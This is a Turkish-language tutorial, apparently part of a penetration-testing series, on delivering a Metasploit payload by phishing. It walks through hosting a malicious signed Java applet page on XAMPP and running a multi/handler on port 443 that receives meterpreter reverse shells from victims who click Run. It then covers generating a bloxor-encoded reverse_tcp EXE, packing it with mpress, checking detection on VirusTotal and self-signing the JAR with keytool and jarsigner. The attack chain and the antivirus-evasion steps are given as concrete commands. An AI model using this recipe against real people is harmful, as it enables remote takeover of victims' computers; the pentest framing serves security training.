Sahte Web Sayfasının Oluşturulması ve Sunulması İçin İzlenecek Adımlar
Sosyal mühendislik senaryomuza uygun bir dizin yapısı XAMPP dizininin altındaki htdocs dizini altında oluşturulur ve oluşturulan HTML dosyası Jar dosyamızla birlikte bu dizinin altına yerleştirilir. Phishing mailine yerleştirilecek URL’de bu dizin ve dosya adını içerecek (ve tabi gerçek test sırasında alan adı olarak internet IP adresimizi barındıracak) biçimde oluşturulur.
- Appletin çağrılacağı HTML sayfasının hazırlanması (bu sayfanın içeriği senaryoya uygun olmalıdır, buradaki örnek bir phishing saldırısı için çok inandırıcı değildir, sadece teknik olarak saldırının gerçekleştirilmesi için minimum içeriği barındırmaktadır ve metasploit tarafından üretilen html sayfa içeriği aynen kullanılmıştır.)
XAMPP üzerinden Apache servisi başlatılır. Ancak payload’umuz 443 portuna bağlanacak biçimde ayarlanmış ise Apache’nin 443 portunu işgal etmemesi gereklidir. Çünkü daha sonra başlatılacak olan handler exploit’umuz bu durumda 443 portuna bind edemez(Bu konuya ilişkin ayrıntılı bilgi birinci bölümde verilmişti).
- XAMPP sunucusunun çalıştırılması ve Apache http servisinin başlatılması (Apache httpd-ssl.conf konfigürasyon dosyasının 443 portunun kullanılmayacak biçimde düzenlenmesi kritiktir, çünkü eğer bu port XAMPP tarafından işgal edilirse daha sonra metasploit multi handler tarafından bu port üzerinden dinleme yapılamayacak ve saldırı başarıya ulaşamayacaktır).
Metasploit Console Üzerinden Multi Handler Exploit’unun Çalıştırılması
Metasploit console üzerinde “use exploit/multi/handler” komutu çalıştırılarak handler exploit’u çalıştırılır.- Metasploit console kullanılarak multi handler exploit’unun çalıştırılması (bu handler sayesinde appleti çalıştıran kurbanlardan alınan bağlantılan session’lar şeklinde ele alınacak ve her bir bağlantı session’ı üzerinden meterpreter komutları çalıştırılabilecektir)
“set LPORT 443” komutu ile öntanımlı 4444 portu 443 portu olarak (veya payload oluşturulurken hangi port öngörülmüşse) değiştirilir.
- Maalesef “show options” komutu handler’ın dinleyeceği portu değiştirmek için gerekli opsiyon parametresini göstermemektedir. Ancak LPORT parametresini denediğimizde işe yaramaktadır. Daha önce payload’umuzu 443 portundan bağlanacak biçimde oluşturduğumuzdan bu portu kullanmalıyız (tabi internet senaryosunda modemden port forwarding yapmalıyız. Port forwarding için aynı portları kullanmak gibi bir mecburiyetimiz yoktur, yani internet IP’mizin 443 portunu pek tabi ki kendi bilgisayarımız üzerindeki 4444 portuna forward edebiliriz. Bu durumda default parametre de işimizi görebilir)
“exploit” komutu ile handler başlatılır.
Kurbanın Oluşturulan Web Sayfasının Linkine Tıklanmasının Sağlanması ve Kurban Bilgisayara Erişim
- Kurbanın tıklamasını sağlayacağımız URL aşağıdaki gibi olacaktır (tabi IP adresimiz internet IP adresimiz olacaktır)
Kurban linke tıkladığında bir applet güvenlik uyarısı ile tarayıcı tarafından uyarılır. Kullanıcı buna rağmen “Run” düğmesine tıklarsa applet çalışır ve Jar arşivinde bulanan exe dosyasını kullanıcı bilgisayarının diskine yazdıktan sonra çalıştırır. Böylece kurban bilgisayar handler’ımıza bağlanır ve biz meterpreter komutlarını çalıştırmaya başlayabiliriz.
- Bu URL çağrıldığında browser’da görüntülenen güvenlik uyarısı aşağıdaki gibidir. Kurban run düğmesini tıkladığında applet çalışacak, Jar dosyası içinde yer alan exe exploit payload’unu kurban bilgisayarın dosya sistemine yazacak ve çalıştıracaktır. Bu noktadan itibaren kurban bilgisayar handler exploit’umuzu çalıştırdığımız bilgisayarımıza 443 portundan bağlanacaktır.
- Run düğmesine bastıktan sonra browser ve handler ekranları aşağıdaki gibi olacaktır. Aşağıdaki örnekte lokal ağdan bağlantı sağlamak için oluşturduğumuz payload’da bağlanılacak IP adresi olarak lokal IP adresi kullanılmıştır. Gerçek senaryoda bu IP yukarıda da örneği verildiği gibi internet IP adresimiz olacaktır. Handler ekranında bağlantının sağlandığı görülmektedir.
- Bu noktadan sonra bağlanan bilgisayar üzerinde meterpreter komutları çalıştırılabilir, veya shell meterpreter komutuyla karşı bilgisayarın komut satırına düşülebilir.
- Birden fazla kurban bilgisayarın bağlantı kurması halinde mevcut session “background” komutu ile arka plana gönderilebilir ve diğer session ile interaktif bağlantıya geçilebilir. Bunun için aşağıdaki komut kullanılır:
Antivirüs’lerden Mümkün Olduğunca Kaçınabilmek İçin JAR Dosyasının ve Dosya İçindeki EXE Dosyasının Oluşturulması Sırasında İzlenebilecek Adımlar
Mevcut Jar arşivinin içindeki EXE payload’u Metasploit ile tekrar oluşturulur. Bunun için aşağıdaki komutlar kullanılır:
- Meterpreter payload’una geçmek için: “use payload/windows/meterpreter/reverse_tcp”
- Payload parametrelerini görevilmek için “show options” komutu çalıştırılır. Yukarıdaki payload için LHOST parametresi daha önce de belirtildiği gibi internet IP adresi ve LPORT parametresi de yine http veya https portlarından biri olarak belirtilir. Web sitesinin yayınlanacağı IP adresi ile reverse shell açılacak IP adresi aynı olacaksa (ki tek bir ADSL modem kullanılıyorsa öyle olacaktır) buradaki portun 443 olarak belirlenmesi gerekecektir. Çünkü port forwarding yapılırken TCP 80 portu zaten phishing sitesi için kullanılmış olacaktır.
- Encoder’ların isimlerini görebilmek için: “show encoders”
- Bizim etkili bulduğumuz encoder ve kodlama sayısı parametresi için şu komut çalıştırılır ve EXE payload’u disk üzerine kaydedilir: “generate –e x86/bloxor -c 5 –t EXE –f C:\test.exe”
- Metasploit payload’u üretildikten sonra yakalanma riskini daha da azaltabilmek için “mpress” packer’ını kullanabilirsiniz. Mpress şu adresten indirilebilir: http://www.matcode.com/mpress.htm
- Ürettiğiniz payload dosyasının hangi antivirüsler tarafından yakalanabildiğini test etmek için VirusTotal web sitesinden faydalanabilirsiniz.
- ”jar cf NumaraGoruntuleme.jar *”
- keytool -genkey -keystore myKeystore -alias myself (bu adımda sorulacak sorulara yanıt girmek gerekecektir)
- keytool -selfcert -alias myself -keystore myKeystore
- jarsigner -keystore myKeystore test.jar myself (burada test.jar dosyasının ismini kendi senaryonuzda kullandığınız jar dosya ismi ile değiştiriniz)
<<Önceki Bölüm